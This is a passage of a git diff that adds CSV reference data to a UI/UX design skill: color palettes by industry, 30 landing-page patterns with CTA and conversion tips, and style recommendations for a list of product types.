Purple/Blue + White +81,Sports Team/Club,"sports, team, club",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Team colors + Energetic accents +82,Museum/Gallery,"museum, gallery",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Art-appropriate neutrals + Exhibition accents +83,Theater/Cinema,"theater, cinema",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark + Spotlight accents + Gold +84,Language Learning App,"language, learning, app",#0D9488,#2DD4BF,#EA580C,#F0FDFA,#134E4A,#5EEAD4,Playful colors + Progress indicators + Country flags +85,Coding Bootcamp,"coding, bootcamp",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Code editor colors + Brand + Success green +86,Cybersecurity Platform,"cybersecurity, security, cyber, hacker",#00FF41,#0D0D0D,#00FF41,#000000,#E0E0E0,#1F1F1F,Matrix Green + Deep Black + Terminal feel +87,Developer Tool / IDE,"developer, tool, ide, code, dev",#3B82F6,#1E293B,#2563EB,#0F172A,#F1F5F9,#334155,Dark syntax theme colors + Blue focus +88,Biotech / Life Sciences,"biotech, science, biology, medical",#0EA5E9,#0284C7,#10B981,#F8FAFC,#0F172A,#E2E8F0,Sterile White + DNA Blue + Life Green +89,Space Tech / Aerospace,"space, aerospace, tech, futuristic",#FFFFFF,#94A3B8,#3B82F6,#0B0B10,#F8FAFC,#1E293B,Deep Space Black + Star White + Metallic +90,Architecture / Interior,"architecture, interior, design, luxury",#171717,#404040,#D4AF37,#FFFFFF,#171717,#E5E5E5,Monochrome + Gold Accent + High Imagery +91,Quantum Computing,"quantum, qubit, tech",#00FFFF,#7B61FF,#FF00FF,#050510,#E0E0FF,#333344,Interference patterns + Neon + Deep Dark +92,Biohacking / Longevity,"bio, health, science",#FF4D4D,#4D94FF,#00E676,#F5F5F7,#1C1C1E,#E5E5EA,Biological red/blue + Clinical white +93,Autonomous Systems,"drone, robot, fleet",#00FF41,#008F11,#FF3333,#0D1117,#E6EDF3,#30363D,Terminal Green + Tactical Dark +94,Generative AI Art,"art, gen-ai, creative",#111111,#333333,#FFFFFF,#FAFAFA,#000000,#E5E5E5,Canvas Neutral + High Contrast +95,Spatial / Vision OS,"spatial, glass, vision",#FFFFFF,#E5E5E5,#007AFF,#888888,#000000,#FFFFFF,Glass opacity 20% + System Blue +96,Climate Tech,"climate, green, energy",#2E8B57,#87CEEB,#FFD700,#F0FFF4,#1A3320,#C6E6C6,Nature Green + Solar Yellow + Air Blue \ No newline at end of file diff --git a/skills/ui-ux-pro-max/data/landing.csv b/skills/ui-ux-pro-max/data/landing.csv new file mode 100644 index 00000000..28ba1a45 --- /dev/null +++ b/skills/ui-ux-pro-max/data/landing.csv @@ -0,0 +1,31 @@ +No,Pattern Name,Keywords,Section Order,Primary CTA Placement,Color Strategy,Recommended Effects,Conversion Optimization +1,Hero + Features + CTA,"hero, hero-centric, features, feature-rich, cta, call-to-action","1. Hero with headline/image, 2. Value prop, 3. Key features (3-5), 4. CTA section, 5. Footer",Hero (sticky) + Bottom,Hero: Brand primary or vibrant. Features: Card bg #FAFAFA. CTA: Contrasting accent color,"Hero parallax, feature card hover lift, CTA glow on hover",Deep CTA placement. Use contrasting color (at least 7:1 contrast ratio). Sticky navbar CTA. +2,Hero + Testimonials + CTA,"hero, testimonials, social-proof, trust, reviews, cta","1. Hero, 2. Problem statement, 3. Solution overview, 4. Testimonials carousel, 5. CTA",Hero (sticky) + Post-testimonials,"Hero: Brand color. Testimonials: Light bg #F5F5F5. Quotes: Italic, muted color #666. CTA: Vibrant","Testimonial carousel slide animations, quote marks animations, avatar fade-in",Social proof before CTA. Use 3-5 testimonials. Include photo + name + role. CTA after social proof. +3,Product Demo + Features,"demo, product-demo, features, showcase, interactive","1. Hero, 2. Product video/mockup (center), 3. Feature breakdown per section, 4. Comparison (optional), 5. CTA",Video center + CTA right/bottom,Video surround: Brand color overlay. Features: Icon color #0080FF. Text: Dark #222,"Video play button pulse, feature scroll reveals, demo interaction highlights",Embedded product demo increases engagement. Use interactive mockup if possible. Auto-play video muted. +4,Minimal Single Column,"minimal, simple, direct, single-column, clean","1. Hero headline, 2. Short description, 3. Benefit bullets (3 max), 4. CTA, 5. Footer","Center, large CTA button",Minimalist: Brand + white #FFFFFF + accent. Buttons: High contrast 7:1+. Text: Black/Dark grey,Minimal hover effects. Smooth scroll. CTA scale on hover (subtle),Single CTA focus. Large typography. Lots of whitespace. No nav clutter. Mobile-first. +5,Funnel (3-Step Conversion),"funnel, conversion, steps, wizard, onboarding","1. Hero, 2. Step 1 (problem), 3. Step 2 (solution), 4. Step 3 (action), 5. CTA progression",Each step: mini-CTA. Final: main CTA,"Step colors: 1 (Red/Problem), 2 (Orange/Process), 3 (Green/Solution). CTA: Brand color","Step number animations, progress bar fill, step transitions smooth scroll",Progressive disclosure. Show only essential info per step. Use progress indicators. Multiple CTAs. +6,Comparison Table + CTA,"comparison, table, compare, versus, cta","1. Hero, 2. Problem intro, 3. Comparison table (product vs competitors), 4. Pricing (optional), 5. CTA",Table: Right column. CTA: Below table,Table: Alternating rows (white/light grey). Your product: Highlight #FFFACD (light yellow) or green. Text: Dark,"Table row hover highlight, price toggle animations, feature checkmark animations",Use comparison to show unique value. Highlight your product row. Include 'free trial' in pricing row. +7,Lead Magnet + Form,"lead, form, signup, capture, email, magnet","1. Hero (benefit headline), 2. Lead magnet preview (ebook cover, checklist, etc), 3. Form (minimal fields), 4. CTA submit",Form CTA: Submit button,Lead magnet: Professional design. Form: Clean white bg. Inputs: Light border #CCCCCC. CTA: Brand color,"Form focus state animations, input validation animations, success confirmation animation",Form fields ≤ 3 for best conversion. Offer valuable lead magnet preview. Show form submission progress. +8,Pricing Page + CTA,"pricing, plans, tiers, comparison, cta","1. Hero (pricing headline), 2. Price comparison cards, 3. Feature comparison table, 4. FAQ section, 5. Final CTA",Each card: CTA button. Sticky CTA in nav,"Free: Grey, Starter: Blue, Pro: Green/Gold, Enterprise: Dark. Cards: 1px border, shadow","Price toggle animation (monthly/yearly), card comparison highlight, FAQ accordion open/close",Recommend starter plan (pre-select/highlight). Show annual discount (20-30%). Use FAQs to address concerns. +9,Video-First Hero,"video, hero, media, visual, engaging","1. Hero with video background, 2. Key features overlay, 3. Benefits section, 4. CTA",Overlay on video (center/bottom) + Bottom section,Dark overlay 60% on video. Brand accent for CTA. White text on dark.,"Video autoplay muted, parallax scroll, text fade-in on scroll",86% higher engagement with video. Add captions for accessibility. Compress video for performance. +10,Scroll-Triggered Storytelling,"storytelling, scroll, narrative, story, immersive","1. Intro hook, 2. Chapter 1 (problem), 3. Chapter 2 (journey), 4. Chapter 3 (solution), 5. Climax CTA",End of each chapter (mini) + Final climax CTA,Progressive reveal. Each chapter has distinct color. Building intensity.,"ScrollTrigger animations, parallax layers, progressive disclosure, chapter transitions",Narrative increases time-on-page 3x. Use progress indicator. Mobile: simplify animations. +11,AI Personalization Landing,"ai, personalization, smart, recommendation, dynamic","1. Dynamic hero (personalized), 2. Relevant features, 3. Tailored testimonials, 4. Smart CTA",Context-aware placement based on user segment,Adaptive based on user data. A/B test color variations per segment.,"Dynamic content swap, fade transitions, personalized product recommendations",20%+ conversion with personalization. Requires analytics integration. Fallback for new users. +12,Waitlist/Coming Soon,"waitlist, coming-soon, launch, early-access, notify","1. Hero with countdown, 2. Product teaser/preview, 3. Email capture form, 4. Social proof (waitlist count)",Email form prominent (above fold) + Sticky form on scroll,Anticipation: Dark + accent highlights. Countdown in brand color. Urgency indicators.,"Countdown timer animation, email validation feedback, success confetti, social share buttons",Scarcity + exclusivity. Show waitlist count. Early access benefits. Referral program. +13,Comparison Table Focus,"comparison, table, versus, compare, features","1. Hero (problem statement), 2. Comparison matrix (you vs competitors), 3. Feature deep-dive, 4. Winner CTA",After comparison table (highlighted row) + Bottom,Your product column highlighted (accent bg or green). Competitors neutral. Checkmarks green.,"Table row hover highlight, feature checkmark animations, sticky comparison header",Show value vs competitors. 35% higher conversion. Be factual. Include pricing if favorable. +14,Pricing-Focused Landing,"pricing, price, cost, plans, subscription","1. Hero (value proposition), 2. Pricing cards (3 tiers), 3. Feature comparison, 4. FAQ, 5. Final CTA",Each pricing card + Sticky CTA in nav + Bottom,Popular plan highlighted (brand color border/bg). Free: grey. Enterprise: dark/premium.,"Price toggle monthly/annual animation, card hover lift, FAQ accordion smooth open",Annual discount 20-30%. Recommend mid-tier (most popular badge). Address objections in FAQ. +15,App Store Style Landing,"app, mobile, download, store, install","1. Hero with device mockup, 2. Screenshots carousel, 3. Features with icons, 4. Reviews/ratings, 5. Download CTAs",Download buttons prominent (App Store + Play Store) throughout,Dark/light matching app store feel. Star ratings in gold. Screenshots with device frames.,"Device mockup rotations, screenshot slider, star rating animations, download button pulse",Show real screenshots. Include ratings (4.5+ stars). QR code for mobile. Platform-specific CTAs. +16,FAQ/Documentation Landing,"faq, documentation, help, support, questions","1. Hero with search bar, 2. Popular categories, 3. FAQ accordion, 4. Contact/support CTA",Search bar prominent + Contact CTA for unresolved questions,"Clean, high readability. Minimal color. Category icons in brand color. Success green for resolved.","Search autocomplete, smooth accordion open/close, category hover, helpful feedback buttons",Reduce support tickets. Track search analytics. Show related articles. Contact escalation path. +17,Immersive/Interactive Experience,"immersive, interactive, experience, 3d, animation","1. Full-screen interactive element, 2. Guided product tour, 3. Key benefits revealed, 4. CTA after completion",After interaction complete + Skip option for impatient users,Immersive experience colors. Dark background for focus. Highlight interactive elements.,"WebGL, 3D interactions, gamification elements, progress indicators, reward animations",40% higher engagement. Performance trade-off. Provide skip option. Mobile fallback essential. +18,Event/Conference Landing,"event, conference, meetup, registration, schedule","1. Hero (date/location/countdown), 2. Speakers grid, 3. Agenda/schedule, 4. Sponsors, 5. Register CTA",Register CTA sticky + After speakers + Bottom,Urgency colors (countdown). Event branding. Speaker cards professional. Sponsor logos neutral.,"Countdown timer, speaker hover cards with bio, agenda tabs, early bird countdown",Early bird pricing with deadline. Social proof (past attendees). Speaker credibility. Multi-ticket discounts. +19,Product Review/Ratings Focused,"reviews, ratings, testimonials, social-proof, stars","1. Hero (product + aggregate rating), 2. Rating breakdown, 3. Individual reviews, 4. Buy/CTA",After reviews summary + Buy button alongside reviews,Trust colors. Star ratings gold. Verified badge green. Review sentiment colors.,"Star fill animations, review filtering, helpful vote interactions, photo lightbox",User-generated content builds trust. Show verified purchases. Filter by rating. Respond to negative reviews. +20,Community/Forum Landing,"community, forum, social, members, discussion","1. Hero (community value prop), 2. Popular topics/categories, 3. Active members showcase, 4. Join CTA",Join button prominent + After member showcase,"Warm, welcoming. Member photos add humanity. Topic badges in brand colors. Activity indicators green.","Member avatars animation, activity feed live updates, topic hover previews, join success celebration","Show active community (member count, posts today). Highlight benefits. Preview content. Easy onboarding." +21,Before-After Transformation,"before-after, transformation, results, comparison","1. Hero (problem state), 2. Transformation slider/comparison, 3. How it works, 4. Results CTA",After transformation reveal + Bottom,Contrast: muted/grey (before) vs vibrant/colorful (after). Success green for results.,"Slider comparison interaction, before/after reveal animations, result counters, testimonial videos",Visual proof of value. 45% higher conversion. Real results. Specific metrics. Guarantee offer. +22,Marketplace / Directory,"marketplace, directory, search, listing","1. Hero (Search focused), 2. Categories, 3. Featured Listings, 4. Trust/Safety, 5. CTA (Become a host/seller)",Hero Search Bar + Navbar 'List your item',Search: High contrast. Categories: Visual icons. Trust: Blue/Green.,Search autocomplete animation, map hover pins, card carousel,Search bar is the CTA. Reduce friction to search. Popular searches suggestions. +23,Newsletter / Content First,"newsletter, content, writer, blog, subscribe","1. Hero (Value Prop + Form), 2. Recent Issues/Archives, 3. Social Proof (Subscriber count), 4. About Author",Hero inline form + Sticky header form,Minimalist. Paper-like background. Text focus. Accent color for Subscribe.,Text highlight animations, typewriter effect, subtle fade-in,Single field form (Email only). Show 'Join X,000 readers'. Read sample link. +24,Webinar Registration,"webinar, registration, event, training, live","1. Hero (Topic + Timer + Form), 2. What you'll learn, 3. Speaker Bio, 4. Urgency/Bonuses, 5. Form (again)",Hero (Right side form) + Bottom anchor,Urgency: Red/Orange. Professional: Blue/Navy. Form: High contrast white.,Countdown timer, speaker avatar float, urgent ticker,Limited seats logic. 'Live' indicator. Auto-fill timezone. +25,Enterprise Gateway,"enterprise, corporate, gateway, solutions, portal","1. Hero (Video/Mission), 2. Solutions by Industry, 3. Solutions by Role, 4. Client Logos, 5. Contact Sales",Contact Sales (Primary) + Login (Secondary),Corporate: Navy/Grey. High integrity. Conservative accents.,Slow video background, logo carousel, tab switching for industries,Path selection (I am a...). Mega menu navigation. Trust signals prominent. +26,Portfolio Grid,"portfolio, grid, showcase, gallery, masonry","1. Hero (Name/Role), 2. Project Grid (Masonry), 3. About/Philosophy, 4. Contact",Project Card Hover + Footer Contact,Neutral background (let work shine). Text: Black/White. Accent: Minimal.,Image lazy load reveal, hover overlay info, lightbox view,Visuals first. Filter by category. Fast loading essential. +27,Horizontal Scroll Journey,"horizontal, scroll, journey, gallery, storytelling, panoramic","1. Intro (Vertical), 2. The Journey (Horizontal Track), 3. Detail Reveal, 4. Vertical Footer","Floating Sticky CTA or End of Horizontal Track","Continuous palette transition. Chapter colors. Progress bar #000000.","Scroll-jacking (careful), parallax layers, horizontal slide, progress indicator","Immersive product discovery. High engagement. Keep navigation visible. +28,Bento Grid Showcase,"bento, grid, features, modular, apple-style, showcase","1. Hero, 2. Bento Grid (Key Features), 3. Detail Cards, 4. Tech Specs, 5. CTA","Floating Action Button or Bottom of Grid","Card backgrounds: #F5F5F7 or Glass. Icons: Vibrant brand colors. Text: Dark.","Hover card scale (1.02), video inside cards, tilt effect, staggered reveal","Scannable value props. High information density without clutter. Mobile stack. +29,Interactive 3D Configurator,"3d, configurator, customizer, interactive, product","1. Hero (Configurator), 2. Feature Highlight (synced), 3. Price/Specs, 4. Purchase","Inside Configurator UI + Sticky Bottom Bar","Neutral studio background. Product: Realistic materials. UI: Minimal overlay.","Real-time rendering, material swap animation, camera rotate/zoom, light reflection","Increases ownership feeling. 360 view reduces return rates. Direct add-to-cart. +30,AI-Driven Dynamic Landing,"ai, dynamic, personalized, adaptive, generative","1. Prompt/Input Hero, 2. Generated Result Preview, 3. How it Works, 4. Value Prop","Input Field (Hero) + 'Try it' Buttons","Adaptive to user input. Dark mode for compute feel. Neon accents.","Typing text effects, shimmering generation loaders, morphing layouts","Immediate value demonstration. 'Show, don't tell'. Low friction start. \ No newline at end of file diff --git a/skills/ui-ux-pro-max/data/products.csv b/skills/ui-ux-pro-max/data/products.csv new file mode 100644 index 00000000..6ff9ba43 --- /dev/null +++ b/skills/ui-ux-pro-max/data/products.csv @@ -0,0 +1,97 @@ +No,Product Type,Keywords,Primary Style Recommendation,Secondary Styles,Landing Page Pattern,Dashboard Style (if applicable),Color Palette Focus,Key Considerations +1,SaaS (General),"app, b2b, cloud, general, saas, software, subscription",Glassmorphism + Flat Design,"Soft UI Evolution, Minimalism",Hero + Features + CTA,Data-Dense + Real-Time Monitoring,Trust blue + accent contrast,Balance modern feel with clarity. Focus on CTAs. +2,Micro SaaS,"app, b2b, cloud, indie, micro, micro-saas, niche, saas, small, software, solo, subscription",Flat Design + Vibrant & Block,"Motion-Driven, Micro-interactions",Minimal & Direct + Demo,Executive Dashboard,Vibrant primary + white space,"Keep simple, show product quickly. Speed is key." +3,E-commerce,"buy, commerce, e, ecommerce, products, retail, sell, shop, store",Vibrant & Block-based,"Aurora UI, Motion-Driven",Feature-Rich Showcase,Sales Intelligence Dashboard,Brand primary + success green,Engagement & conversions. High visual hierarchy. +4,E-commerce Luxury,"buy, commerce, e, ecommerce, elegant, exclusive, high-end, luxury, premium, products, retail, sell, shop, store",Liquid Glass + Glassmorphism,"3D & Hyperrealism, Aurora UI",Feature-Rich Showcase,Sales Intelligence Dashboard,Premium colors + minimal accent,Elegance & sophistication. Premium materials. +5,Service Landing Page,"appointment, booking, consultation, conversion, landing, marketing, page, service",Hero-Centric + Trust & Authority,"Social Proof-Focused, Storytelling",Hero-Centric Design,N/A - Analytics for conversions,Brand primary + trust colors,Social proof essential. Show expertise. +6,B2B Service,"appointment, b, b2b, booking, business, consultation, corporate, enterprise, service",Trust & Authority + Minimal,"Feature-Rich, Conversion-Optimized",Feature-Rich Showcase,Sales Intelligence Dashboard,Professional blue + neutral grey,Credibility essential. Clear ROI messaging. +7,Financial Dashboard,"admin, analytics, dashboard, data, financial, panel",Dark Mode (OLED) + Data-Dense,"Minimalism, Accessible & Ethical",N/A - Dashboard focused,Financial Dashboard,Dark bg + red/green alerts + trust blue,"High contrast, real-time updates, accuracy paramount." +8,Analytics Dashboard,"admin, analytics, dashboard, data, panel",Data-Dense + Heat Map & Heatmap,"Minimalism, Dark Mode (OLED)",N/A - Analytics focused,Drill-Down Analytics + Comparative,Cool→Hot gradients + neutral grey,Clarity > aesthetics. Color-coded data priority. +9,Healthcare App,"app, clinic, health, healthcare, medical, patient",Neumorphism + Accessible & Ethical,"Soft UI Evolution, Claymorphism (for patients)",Social Proof-Focused,User Behavior Analytics,Calm blue + health green + trust,Accessibility mandatory. Calming aesthetic. +10,Educational App,"app, course, education, educational, learning, school, training",Claymorphism + Micro-interactions,"Vibrant & Block-based, Flat Design",Storytelling-Driven,User Behavior Analytics,Playful colors + clear hierarchy,Engagement & ease of use. Age-appropriate design. +11,Creative Agency,"agency, creative, design, marketing, studio",Brutalism + Motion-Driven,"Retro-Futurism, Storytelling-Driven",Storytelling-Driven,N/A - Portfolio focused,Bold primaries + artistic freedom,Differentiation key. Wow-factor necessary. +12,Portfolio/Personal,"creative, personal, portfolio, projects, showcase, work",Motion-Driven + Minimalism,"Brutalism, Aurora UI",Storytelling-Driven,N/A - Personal branding,Brand primary + artistic interpretation,Showcase work. Personality shine through. +13,Gaming,"entertainment, esports, game, gaming, play",3D & Hyperrealism + Retro-Futurism,"Motion-Driven, Vibrant & Block",Feature-Rich Showcase,N/A - Game focused,Vibrant + neon + immersive colors,Immersion priority. Performance critical. +14,Government/Public Service,"appointment, booking, consultation, government, public, service",Accessible & Ethical + Minimalism,"Flat Design, Inclusive Design",Minimal & Direct,Executive Dashboard,Professional blue + high contrast,WCAG AAA mandatory. Trust paramount. +15,Fintech/Crypto,"banking, blockchain, crypto, defi, finance, fintech, money, nft, payment, web3",Glassmorphism + Dark Mode (OLED),"Retro-Futurism, Motion-Driven",Conversion-Optimized,Real-Time Monitoring + Predictive,Dark tech colors + trust + vibrant accents,Security perception. Real-time data critical. +16,Social Media App,"app, community, content, entertainment, media, network, sharing, social, streaming, users, video",Vibrant & Block-based + Motion-Driven,"Aurora UI, Micro-interactions",Feature-Rich Showcase,User Behavior Analytics,Vibrant + engagement colors,Engagement & retention. Addictive design ethics. +17,Productivity Tool,"collaboration, productivity, project, task, tool, workflow",Flat Design + Micro-interactions,"Minimalism, Soft UI Evolution",Interactive Product Demo,Drill-Down Analytics,Clear hierarchy + functional colors,Ease of use. Speed & efficiency focus. +18,Design System/Component Library,"component, design, library, system",Minimalism + Accessible & Ethical,"Flat Design, Zero Interface",Feature-Rich Showcase,N/A - Dev focused,Clear hierarchy + code-like structure,Consistency. Developer-first approach. +19,AI/Chatbot Platform,"ai, artificial-intelligence, automation, chatbot, machine-learning, ml, platform",AI-Native UI + Minimalism,"Zero Interface, Glassmorphism",Interactive Product Demo,AI/ML Analytics Dashboard,Neutral + AI Purple (#6366F1),Conversational UI. Streaming text. Context awareness. Minimal chrome. +20,NFT/Web3 Platform,"nft, platform, web",Cyberpunk UI + Glassmorphism,"Aurora UI, 3D & Hyperrealism",Feature-Rich Showcase,Crypto/Blockchain Dashboard,Dark + Neon + Gold (#FFD700),Wallet integration. Transaction feedback. Gas fees display. Dark mode essential. +21,Creator Economy Platform,"creator, economy, platform",Vibrant & Block-based + Bento Box Grid,"Motion-Driven, Aurora UI",Social Proof-Focused,User Behavior Analytics,Vibrant + Brand colors,Creator profiles. Monetization display. Engagement metrics. Social proof. +22,Sustainability/ESG Platform,"ai, artificial-intelligence, automation, esg, machine-learning, ml, platform, sustainability",Organic Biophilic + Minimalism,"Accessible & Ethical, Flat Design",Trust & Authority,Energy/Utilities Dashboard,Green (#228B22) + Earth tones,Carbon footprint visuals. Progress indicators. Certification badges. Eco-friendly imagery. +23,Remote Work/Collaboration Tool,"collaboration, remote, tool, work",Soft UI Evolution + Minimalism,"Glassmorphism, Micro-interactions",Feature-Rich Showcase,Drill-Down Analytics,Calm Blue + Neutral grey,Real-time collaboration. Status indicators. Video integration. Notification management. +24,Mental Health App,"app, health, mental",Neumorphism + Accessible & Ethical,"Claymorphism, Soft UI Evolution",Social Proof-Focused,Healthcare Analytics,Calm Pastels + Trust colors,Calming aesthetics. Privacy-first. Crisis resources. Progress tracking. Accessibility mandatory. +25,Pet Tech App,"app, pet, tech",Claymorphism + Vibrant & Block-based,"Micro-interactions, Flat Design",Storytelling-Driven,User Behavior Analytics,Playful + Warm colors,Pet profiles. Health tracking. Playful UI. Photo galleries. Vet integration. +26,Smart Home/IoT Dashboard,"admin, analytics, dashboard, data, home, iot, panel, smart",Glassmorphism + Dark Mode (OLED),"Minimalism, AI-Native UI",Interactive Product Demo,Real-Time Monitoring,Dark + Status indicator colors,Device status. Real-time controls. Energy monitoring. Automation rules. Quick actions. +27,EV/Charging Ecosystem,"charging, ecosystem, ev",Minimalism + Aurora UI,"Glassmorphism, Organic Biophilic",Hero-Centric Design,Energy/Utilities Dashboard,Electric Blue (#009CD1) + Green,Charging station maps. Range estimation. Cost calculation. Environmental impact. +28,Subscription Box Service,"appointment, booking, box, consultation, membership, plan, recurring, service, subscription",Vibrant & Block-based + Motion-Driven,"Claymorphism, Aurora UI",Feature-Rich Showcase,E-commerce Analytics,Brand + Excitement colors,Unboxing experience. Personalization quiz. Subscription management. Product reveals. +29,Podcast Platform,"platform, podcast",Dark Mode (OLED) + Minimalism,"Motion-Driven, Vibrant & Block-based",Storytelling-Driven,Media/Entertainment Dashboard,Dark + Audio waveform accents,Audio player UX. Episode discovery. Creator tools. Analytics for podcasters. +30,Dating App,"app, dating",Vibrant & Block-based + Motion-Driven,"Aurora UI, Glassmorphism",Social Proof-Focused,User Behavior Analytics,Warm + Romantic (Pink/Red gradients),Profile cards. Swipe interactions. Match animations. Safety features. Video chat. +31,Micro-Credentials/Badges Platform,"badges, credentials, micro, platform",Minimalism + Flat Design,"Accessible & Ethical, Swiss Modernism 2.0",Trust & Authority,Education Dashboard,Trust Blue + Gold (#FFD700),Credential verification. Badge display. Progress tracking. Issuer trust. LinkedIn integration. +32,Knowledge Base/Documentation,"base, documentation, knowledge",Minimalism + Accessible & Ethical,"Swiss Modernism 2.0, Flat Design",FAQ/Documentation,N/A - Documentation focused,Clean hierarchy + minimal color,Search-first. Clear navigation. Code highlighting. Version switching. Feedback system. +33,Hyperlocal Services,"appointment, booking, consultation, hyperlocal, service, services",Minimalism + Vibrant & Block-based,"Micro-interactions, Flat Design",Conversion-Optimized,Drill-Down Analytics + Map,Location markers + Trust colors,Map integration. Service categories. Provider profiles. Booking system. Reviews. +34,Beauty/Spa/Wellness Service,"appointment, beauty, booking, consultation, service, spa, wellness",Soft UI Evolution + Neumorphism,"Glassmorphism, Minimalism",Hero-Centric Design + Social Proof,User Behavior Analytics,Soft pastels (Pink #FFB6C1 Sage #90EE90) + Cream + Gold accents,Calming aesthetic. Booking system. Service menu. Before/after gallery. Testimonials. Relaxing imagery. +35,Luxury/Premium Brand,"brand, elegant, exclusive, high-end, luxury, premium",Liquid Glass + Glassmorphism,"Minimalism, 3D & Hyperrealism",Storytelling-Driven + Feature-Rich,Sales Intelligence Dashboard,Black + Gold (#FFD700) + White + Minimal accent,Elegance paramount. Premium imagery. Storytelling. High-quality visuals. Exclusive feel. +36,Restaurant/Food Service,"appointment, booking, consultation, delivery, food, menu, order, restaurant, service",Vibrant & Block-based + Motion-Driven,"Claymorphism, Flat Design",Hero-Centric Design + Conversion,N/A - Booking focused,Warm colors (Orange Red Brown) + appetizing imagery,Menu display. Online ordering. Reservation system. Food photography. Location/hours prominent. +37,Fitness/Gym App,"app, exercise, fitness, gym, health, workout",Vibrant & Block-based + Dark Mode (OLED),"Motion-Driven, Neumorphism",Feature-Rich Showcase,User Behavior Analytics,Energetic (Orange #FF6B35 Electric Blue) + Dark bg,Progress tracking. Workout plans. Community features. Achievements. Motivational design. +38,Real Estate/Property,"buy, estate, housing, property, real, real-estate, rent",Glassmorphism + Minimalism,"Motion-Driven, 3D & Hyperrealism",Hero-Centric Design + Feature-Rich,Sales Intelligence Dashboard,Trust Blue (#0077B6) + Gold accents + White,Property listings. Virtual tours. Map integration. Agent profiles. Mortgage calculator. High-quality imagery. +39,Travel/Tourism Agency,"agency, booking, creative, design, flight, hotel, marketing, studio, tourism, travel, vacation",Aurora UI + Motion-Driven,"Vibrant & Block-based, Glassmorphism",Storytelling-Driven + Hero-Centric,Booking Analytics,Vibrant destination colors + Sky Blue + Warm accents,Destination showcase. Booking system. Itinerary builder. Reviews. Inspiration galleries. Mobile-first. +40,Hotel/Hospitality,"hospitality, hotel",Liquid Glass + Minimalism,"Glassmorphism, Soft UI Evolution",Hero-Centric Design + Social Proof,Revenue Management Dashboard,Warm neutrals + Gold (#D4AF37) + Brand accent,Room booking. Amenities showcase. Location maps. Guest reviews. Seasonal pricing. Luxury imagery. +41,Wedding/Event Planning,"conference, event, meetup, planning, registration, ticket, wedding",Soft UI Evolution + Aurora UI,"Glassmorphism, Motion-Driven",Storytelling-Driven + Social Proof,N/A - Planning focused,Soft Pink (#FFD6E0) + Gold + Cream + Sage,Portfolio gallery. Vendor directory. Planning tools. Timeline. Budget tracker. Romantic aesthetic. +42,Legal Services,"appointment, attorney, booking, compliance, consultation, contract, law, legal, service, services",Trust & Authority + Minimalism,"Accessible & Ethical, Swiss Modernism 2.0",Trust & Authority + Minimal,Case Management Dashboard,Navy Blue (#1E3A5F) + Gold + White,Credibility paramount. Practice areas. Attorney profiles. Case results. Contact forms. Professional imagery. +43,Insurance Platform,"insurance, platform",Trust & Authority + Flat Design,"Accessible & Ethical, Minimalism",Conversion-Optimized + Trust,Claims Analytics Dashboard,Trust Blue (#0066CC) + Green (security) + Neutral,Quote calculator. Policy comparison. Claims process. Trust signals. Clear pricing. Security badges. +44,Banking/Traditional Finance,"banking, finance, traditional",Minimalism + Accessible & Ethical,"Trust & Authority, Dark Mode (OLED)",Trust & Authority + Feature-Rich,Financial Dashboard,Navy (#0A1628) + Trust Blue + Gold accents,Security-first. Account overview. Transaction history. Mobile banking. Accessibility critical. Trust paramount. +45,Online Course/E-learning,"course, e, learning, online",Claymorphism + Vibrant & Block-based,"Motion-Driven, Flat Design",Feature-Rich Showcase + Social Proof,Education Dashboard,Vibrant learning colors + Progress green,Course catalog. Progress tracking. Video player. Quizzes. Certificates. Community forums. Gamification. +46,Non-profit/Charity,"charity, non, profit",Accessible & Ethical + Organic Biophilic,"Minimalism, Storytelling-Driven",Storytelling-Driven + Trust,Donation Analytics Dashboard,Cause-related colors + Trust + Warm,Impact stories. Donation flow. Transparency reports. Volunteer signup. Event calendar. Emotional connection. +47,Music Streaming,"music, streaming",Dark Mode (OLED) + Vibrant & Block-based,"Motion-Driven, Aurora UI",Feature-Rich Showcase,Media/Entertainment Dashboard,Dark (#121212) + Vibrant accents + Album art colors,Audio player. Playlist management. Artist pages. Personalization. Social features. Waveform visualizations. +48,Video Streaming/OTT,"ott, streaming, video",Dark Mode (OLED) + Motion-Driven,"Glassmorphism, Vibrant & Block-based",Hero-Centric Design + Feature-Rich,Media/Entertainment Dashboard,Dark bg + Content poster colors + Brand accent,Video player. Content discovery. Watchlist. Continue watching. Personalized recommendations. Thumbnail-heavy. +49,Job Board/Recruitment,"board, job, recruitment",Flat Design + Minimalism,"Vibrant & Block-based, Accessible & Ethical",Conversion-Optimized + Feature-Rich,HR Analytics Dashboard,Professional Blue + Success Green + Neutral,Job listings. Search/filter. Company profiles. Application tracking. Resume upload. Salary insights. +50,Marketplace (P2P),"buyers, listings, marketplace, p, platform, sellers",Vibrant & Block-based + Flat Design,"Micro-interactions, Trust & Authority",Feature-Rich Showcase + Social Proof,E-commerce Analytics,Trust colors + Category colors + Success green,Seller/buyer profiles. Listings. Reviews/ratings. Secure payment. Messaging. Search/filter. Trust badges. +51,Logistics/Delivery,"delivery, logistics",Minimalism + Flat Design,"Dark Mode (OLED), Micro-interactions",Feature-Rich Showcase + Conversion,Real-Time Monitoring + Route Analytics,Blue (#2563EB) + Orange (tracking) + Green (delivered),Real-time tracking. Delivery scheduling. Route optimization. Driver management. Status updates. Map integration. +52,Agriculture/Farm Tech,"agriculture, farm, tech",Organic Biophilic + Flat Design,"Minimalism, Accessible & Ethical",Feature-Rich Showcase + Trust,IoT Sensor Dashboard,Earth Green (#4A7C23) + Brown + Sky Blue,Crop monitoring. Weather data. IoT sensors. Yield tracking. Market prices. Sustainable imagery. +53,Construction/Architecture,"architecture, construction",Minimalism + 3D & Hyperrealism,"Brutalism, Swiss Modernism 2.0",Hero-Centric Design + Feature-Rich,Project Management Dashboard,Grey (#4A4A4A) + Orange (safety) + Blueprint Blue,Project portfolio. 3D renders. Timeline. Material specs. Team collaboration. Blueprint aesthetic. +54,Automotive/Car Dealership,"automotive, car, dealership",Motion-Driven + 3D & Hyperrealism,"Dark Mode (OLED), Glassmorphism",Hero-Centric Design + Feature-Rich,Sales Intelligence Dashboard,Brand colors + Metallic accents + Dark/Light,Vehicle showcase. 360° views. Comparison tools. Financing calculator. Test drive booking. High-quality imagery. +55,Photography Studio,"photography, studio",Motion-Driven + Minimalism,"Aurora UI, Glassmorphism",Storytelling-Driven + Hero-Centric,N/A - Portfolio focused,Black + White + 